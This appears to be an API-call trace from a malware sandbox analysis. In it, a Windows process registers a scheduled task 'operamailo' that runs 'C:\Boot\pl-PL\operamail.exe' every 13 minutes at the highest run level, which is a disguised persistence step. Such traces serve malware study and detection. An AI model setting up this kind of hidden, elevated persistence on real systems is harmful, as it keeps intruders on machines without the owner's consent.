0 [0136.768] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0136.768] lstrlenW (lpString="First") returned 5 [0136.768] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.768] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0136.768] lstrlenW (lpString="Second") returned 6 [0136.769] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.769] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0136.769] lstrlenW (lpString="Third") returned 5 [0136.769] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.769] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0136.769] lstrlenW (lpString="Fourth") returned 6 [0136.769] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.769] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0136.769] lstrlenW (lpString="Last") returned 4 [0136.769] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c0a0, cchData=128 | out: lpLCData="0") returned 2 [0136.769] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.769] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0136.769] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0136.769] GetProcessHeap () returned 0x440000 [0136.769] GetProcessHeap () returned 0x440000 [0136.769] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5e0) returned 1 [0136.769] GetProcessHeap () returned 0x440000 [0136.769] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d5e0) returned 0xc [0136.769] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5e0 | out: hHeap=0x440000) returned 1 [0136.769] GetProcessHeap () returned 0x440000 [0136.769] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x16) returned 0x45d5e0 [0136.769] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c0c0, cchData=128 | out: lpLCData="0") returned 2 [0136.770] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.770] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0136.770] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0136.770] GetProcessHeap () returned 0x440000 [0136.770] GetProcessHeap () returned 0x440000 [0136.770] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d600) returned 1 [0136.770] GetProcessHeap () returned 0x440000 [0136.770] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d600) returned 0xe [0136.770] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d600 | out: hHeap=0x440000) returned 1 [0136.770] GetProcessHeap () returned 0x440000 [0136.770] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x16) returned 0x45d600 [0136.770] GetLocalTime (in: lpSystemTime=0x25c2f0 | out: lpSystemTime=0x25c2f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x0, wMilliseconds=0x210)) [0136.770] lstrlenW (lpString="") returned 0 [0136.770] GetLocalTime (in: lpSystemTime=0x25cba8 | out: lpSystemTime=0x25cba8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x0, wMilliseconds=0x210)) [0136.770] lstrlenW (lpString="") returned 0 [0136.770] lstrlenW (lpString="") returned 0 [0136.770] lstrlenW (lpString="") returned 0 [0136.770] lstrlenW (lpString="") returned 0 [0136.770] lstrlenW (lpString="13") returned 2 [0136.770] _wtol (_String="13") returned 13 [0136.770] lstrlenW (lpString="") returned 0 [0136.770] lstrlenW (lpString="") returned 0 [0136.771] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0136.842] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0136.912] CoCreateInstance (in: rclsid=0xffeb1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffeb1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x25c970 | out: ppv=0x25c970*=0x157a50) returned 0x0 [0136.934] TaskScheduler:ITaskService:Connect (This=0x157a50, serverName=0x25ca50*(varType=0x8, wReserved1=0x25, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x25ca10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x25ca30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25c9f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0137.057] TaskScheduler:IUnknown:AddRef (This=0x157a50) returned 0x2 [0137.057] TaskScheduler:ITaskService:GetFolder (in: This=0x157a50, Path=0x0, ppFolder=0x25cb08 | out: ppFolder=0x25cb08*=0x155aa0) returned 0x0 [0137.060] TaskScheduler:ITaskService:NewTask (in: This=0x157a50, flags=0x0, ppDefinition=0x25cb00 | out: ppDefinition=0x25cb00*=0x157c40) returned 0x0 [0137.061] ITaskDefinition:get_Actions (in: This=0x157c40, ppActions=0x25ca80 | out: ppActions=0x25ca80*=0x157d00) returned 0x0 [0137.061] IActionCollection:Create (in: This=0x157d00, Type=0, ppAction=0x25caa0 | out: ppAction=0x25caa0*=0x156060) returned 0x0 [0137.061] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0137.061] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0137.061] lstrlenW (lpString=" ") returned 1 [0137.061] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0137.061] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.062] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0137.062] IUnknown:Release (This=0x156060) returned 0x1 [0137.062] IUnknown:Release (This=0x157d00) returned 0x1 [0137.062] ITaskDefinition:get_Triggers (in: This=0x157c40, ppTriggers=0x25c600 | out: ppTriggers=0x25c600*=0x157e40) returned 0x0 [0137.062] ITriggerCollection:Create (in: This=0x157e40, Type=1, ppTrigger=0x25c5f8 | out: ppTrigger=0x25c5f8*=0x1560f0) returned 0x0 [0137.063] lstrlenW (lpString="13") returned 2 [0137.063] _vsnwprintf (in: _Buffer=0x25c580, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x25c578 | out: _Buffer="PT13M") returned 5 [0137.063] ITrigger:get_Repetition (in: This=0x1560f0, ppRepeat=0x25c5f0 | out: ppRepeat=0x25c5f0*=0x156180) returned 0x0 [0137.063] IRepetitionPattern:put_Interval (This=0x156180, Interval="PT13M") returned 0x0 [0137.063] IUnknown:Release (This=0x156180) returned 0x1 [0137.063] _vsnwprintf (in: _Buffer=0x25c540, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x25c518 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0137.063] ITrigger:put_StartBoundary (This=0x1560f0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0137.063] lstrlenW (lpString="") returned 0 [0137.063] lstrlenW (lpString="") returned 0 [0137.063] lstrlenW (lpString="") returned 0 [0137.063] lstrlenW (lpString="") returned 0 [0137.063] IUnknown:Release (This=0x1560f0) returned 0x1 [0137.063] IUnknown:Release (This=0x157e40) returned 0x1 [0137.064] ITaskDefinition:get_Settings (in: This=0x157c40, ppSettings=0x25caa0 | out: ppSettings=0x25caa0*=0x157eb0) returned 0x0 [0137.064] lstrlenW (lpString="") returned 0 [0137.064] IUnknown:Release (This=0x157eb0) returned 0x1 [0137.064] GetLocalTime (in: lpSystemTime=0x25c958 | out: lpSystemTime=0x25c958*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x0, wMilliseconds=0x339)) [0137.064] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0137.064] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0137.064] GetUserNameW (in: lpBuffer=0x25c980, pcbBuffer=0x25c968 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x25c968) returned 1 [0137.065] ITaskDefinition:get_RegistrationInfo (in: This=0x157c40, ppRegistrationInfo=0x25c950 | out: ppRegistrationInfo=0x25c950*=0x157d80) returned 0x0 [0137.065] IRegistrationInfo:put_Author (This=0x157d80, Author="") returned 0x0 [0137.065] _vsnwprintf (in: _Buffer=0x25c980, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x25c918 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0137.065] IRegistrationInfo:put_Date (This=0x157d80, Date="") returned 0x0 [0137.065] IUnknown:Release (This=0x157d80) returned 0x1 [0137.066] malloc (_Size=0x18) returned 0x156200 [0137.066] free (_Block=0x156200) [0137.066] lstrlenW (lpString="") returned 0 [0137.066] ITaskDefinition:get_Principal (in: This=0x157c40, ppPrincipal=0x25cb70 | out: ppPrincipal=0x25cb70*=0x155fb0) returned 0x0 [0137.066] IPrincipal:put_RunLevel (This=0x155fb0, RunLevel=1) returned 0x0 [0137.066] IUnknown:Release (This=0x155fb0) returned 0x1 [0137.066] malloc (_Size=0x18) returned 0x156200 [0137.066] ITaskFolder:RegisterTaskDefinition (in: This=0x155aa0, Path="operamailo", pDefinition=0x157c40, flags=6, UserId=0x25cbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25cc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25eb00, varVal2=0xfe), LogonType=3, sddl=0x25cc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x25cb10 | out: ppTask=0x25cb10*=0x1563a0) returned 0x0 [0137.140] free (_Block=0x156200) [0137.140] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.141] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0137.141] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0137.141] GetProcessHeap () returned 0x440000 [0137.141] GetProcessHeap () returned 0x440000 [0137.141] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d620) returned 1 [0137.141] GetProcessHeap () returned 0x440000 [0137.141] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d620) returned 0xc [0137.141] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d620 | out: hHeap=0x440000) returned 1 [0137.141] GetProcessHeap () returned 0x440000 [0137.141] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x82) returned 0x479a40 [0137.141] _vsnwprintf (in: _Buffer=0x25d250, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x25cab8 | out: _Buffer="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n") returned 72 [0137.141] _fileno (_File=0x7fefed02ab0) returned -2 [0137.141] _errno () returned 0x154bb0 [0137.141] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0137.141] SetLastError (dwErrCode=0x6) [0137.141] lstrlenW (lpString="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n") returned 72 [0137.141] GetConsoleOutputCP () returned 0x0 [0137.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0137.142] GetConsoleOutputCP () returned 0x0 [0137.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0xffef1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"operamailo\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 72 [0137.142] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 72 [0137.142] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0137.142] IUnknown:Release (This=0x1563a0) returned 0x0 [0137.142] TaskScheduler:IUnknown:Release (This=0x157c40) returned 0x0 [0137.142] TaskScheduler:IUnknown:Release (This=0x155aa0) returned 0x0 [0137.142] TaskScheduler:IUnknown:Release (This=0x157a50) returned 0x1 [0137.142] lstrlenW (lpString="") returned 0 [0137.142] lstrlenW (lpString="13") returned 2 [0137.142] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="13", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0137.142] GetProcessHeap () returned 0x440000 [0137.142] GetProcessHeap () returned 0x440000 [0137.142] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c250) returned 1 [0137.142] GetProcessHeap () returned 0x440000 [0137.142] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c250) returned 0x1fc [0137.143] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c250 | out: hHeap=0x440000) returned 1 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45b990) returned 1 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45b990) returned 0x6 [0137.143] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b990 | out: hHeap=0x440000) returned 1 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d4e0) returned 1 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d4e0) returned 0x16 [0137.143] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d4e0 | out: hHeap=0x440000) returned 1 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d560) returned 1 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d560) returned 0x18 [0137.143] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d560 | out: hHeap=0x440000) returned 1 [0137.143] GetProcessHeap () returned 0x440000 [0137.143] GetProcessHeap () returned 0x440000 [0137.144] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cdb0) returned 1 [0137.144] GetProcessHeap () returned 0x440000 [0137.144] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cdb0) returned 0x20 [0137.144] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cdb0 | out: hHeap=0x440000) returned 1 [0137.144] GetProcessHeap () returned 0x440000 [0137.144] GetProcessHeap () returned 0x440000 [0137.144] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45bff0) returned 1 [0137.144] GetProcessHeap () returned 0x440000 [0137.144] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bff0) returned 0xa0 [0137.145] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bff0 | out: hHeap=0x440000) returned 1 [0137.145] GetProcessHeap () returned 0x440000 [0137.145] GetProcessHeap () returned 0x440000 [0137.145] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba70) returned 1 [0137.145] GetProcessHeap () returned 0x440000 [0137.145] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba70) returned 0x18 [0137.145] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba70 | out: hHeap=0x440000) returned 1 [0137.145] GetProcessHeap () returned 0x440000 [0137.145] GetProcessHeap () returned 0x440000 [0137.145] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb10) returned 1 [0137.145] GetProcessHeap () returned 0x440000 [0137.145] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cb10) returned 0x20 [0137.145] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb10 | out: hHeap=0x440000) returned 1 [0137.145] GetProcessHeap () returned 0x440000 [0137.145] GetProcessHeap () returned 0x440000 [0137.145] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x459360) returned 1 [0137.145] GetProcessHeap () returned 0x440000 [0137.145] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x459360) returned 0x3c [0137.146] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x459360 | out: hHeap=0x440000) returned 1 [0137.146] GetProcessHeap () returned 0x440000 [0137.146] GetProcessHeap () returned 0x440000 [0137.146] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d4c0) returned 1 [0137.146] GetProcessHeap () returned 0x440000 [0137.146] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d4c0) returned 0x18 [0137.146] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d4c0 | out: hHeap=0x440000) returned 1 [0137.146] GetProcessHeap () returned 0x440000 [0137.146] GetProcessHeap () returned 0x440000 [0137.146] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cae0) returned 1 [0137.146] GetProcessHeap () returned 0x440000 [0137.146] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cae0) returned 0x20 [0137.146] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cae0 | out: hHeap=0x440000) returned 1 [0137.146] GetProcessHeap () returned 0x440000 [0137.146] GetProcessHeap () returned 0x440000 [0137.146] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x459310) returned 1 [0137.146] GetProcessHeap () returned 0x440000 [0137.146] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x459310) returned 0x3e [0137.147] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x459310 | out: hHeap=0x440000) returned 1 [0137.147] GetProcessHeap () returned 0x440000 [0137.147] GetProcessHeap () returned 0x440000 [0137.147] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d540) returned 1 [0137.147] GetProcessHeap () returned 0x440000 [0137.147] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d540) returned 0x18 [0137.147] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d540 | out: hHeap=0x440000) returned 1 [0137.147] GetProcessHeap () returned 0x440000 [0137.147] GetProcessHeap () returned 0x440000 [0137.147] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cab0) returned 1 [0137.147] GetProcessHeap () returned 0x440000 [0137.147] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cab0) returned 0x20 [0137.147] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cab0 | out: hHeap=0x440000) returned 1 [0137.147] GetProcessHeap () returned 0x440000 [0137.147] GetProcessHeap () returned 0x440000 [0137.147] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d520) returned 1 [0137.148] GetProcessHeap () returned 0x440000 [0137.148] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d520) returned 0xe [0137.148] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d520 | out: hHeap=0x440000) returned 1 [0137.148] GetProcessHeap () returned 0x440000 [0137.148] GetProcessHeap () returned 0x440000 [0137.148] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d500) returned 1 [0137.148] GetProcessHeap () returned 0x440000 [0137.148] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d500) returned 0x18 [0137.148] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d500 | out: hHeap=0x440000) returned 1 [0137.148] GetProcessHeap () returned 0x440000 [0137.148] GetProcessHeap () returned 0x440000 [0137.148] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455d50) returned 1 [0137.148] GetProcessHeap () returned 0x440000 [0137.148] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455d50) returned 0x20 [0137.148] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455d50 | out: hHeap=0x440000) returned 1 [0137.148] GetProcessHeap () returned 0x440000 [0137.148] GetProcessHeap () returned 0x440000 [0137.149] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45bbf0) returned 1 [0137.149] GetProcessHeap () returned 0x440000 [0137.149] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bbf0) returned 0x208 [0137.149] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bbf0 | out: hHeap=0x440000) returned 1 [0137.149] GetProcessHeap () returned 0x440000 [0137.149] GetProcessHeap () returned 0x440000 [0137.149] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba50) returned 1 [0137.149] GetProcessHeap () returned 0x440000 [0137.149] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba50) returned 0x18 [0137.149] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba50 | out: hHeap=0x440000) returned 1 [0137.149] GetProcessHeap () returned 0x440000 [0137.149] GetProcessHeap () returned 0x440000 [0137.149] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455c60) returned 1 [0137.149] GetProcessHeap () returned 0x440000 [0137.149] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455c60) returned 0x20 [0137.150] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455c60 | out: hHeap=0x440000) returned 1 [0137.150] GetProcessHeap () returned 0x440000 [0137.150] GetProcessHeap () returned 0x440000 [0137.150] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d280) returned 1 [0137.150] GetProcessHeap () returned 0x440000 [0137.150] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d280) returned 0x200 [0137.150] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d280 | out: hHeap=0x440000) returned 1 [0137.150] GetProcessHeap () returned 0x440000 [0137.150] GetProcessHeap () returned 0x440000 [0137.150] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba90) returned 1 [0137.150] GetProcessHeap () returned 0x440000 [0137.150] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba90) returned 0x18 [0137.150] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba90 | out: hHeap=0x440000) returned 1 [0137.150] GetProcessHeap () returned 0x440000 [0137.150] GetProcessHeap () returned 0x440000 [0137.150] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455bd0) returned 1 [0137.150] GetProcessHeap () returned 0x440000 [0137.150] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455bd0) returned 0x20 [0137.151] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455bd0 | out: hHeap=0x440000) returned 1 [0137.151] GetProcessHeap () returned 0x440000 [0137.151] GetProcessHeap () returned 0x440000 [0137.151] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c200) returned 1 [0137.151] GetProcessHeap () returned 0x440000 [0137.151] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c200) returned 0x14 [0137.151] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c200 | out: hHeap=0x440000) returned 1 [0137.151] GetProcessHeap () returned 0x440000 [0137.151] GetProcessHeap () returned 0x440000 [0137.151] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c1e0) returned 1 [0137.151] GetProcessHeap () returned 0x440000 [0137.151] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c1e0) returned 0x18 [0137.151] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c1e0 | out: hHeap=0x440000) returned 1 [0137.151] GetProcessHeap () returned 0x440000 [0137.151] GetProcessHeap () returned 0x440000 [0137.151] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455b10) returned 1 [0137.151] GetProcessHeap () returned 0x440000 [0137.151] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455b10) returned 0x20 [0137.151] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455b10 | out: hHeap=0x440000) returned 1 [0137.152] GetProcessHeap () returned 0x440000 [0137.152] GetProcessHeap () returned 0x440000 [0137.152] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c220) returned 1 [0137.152] GetProcessHeap () returned 0x440000 [0137.152] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c220) returned 0x16 [0137.152] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c220 | out: hHeap=0x440000) returned 1 [0137.152] GetProcessHeap () returned 0x440000 [0137.152] 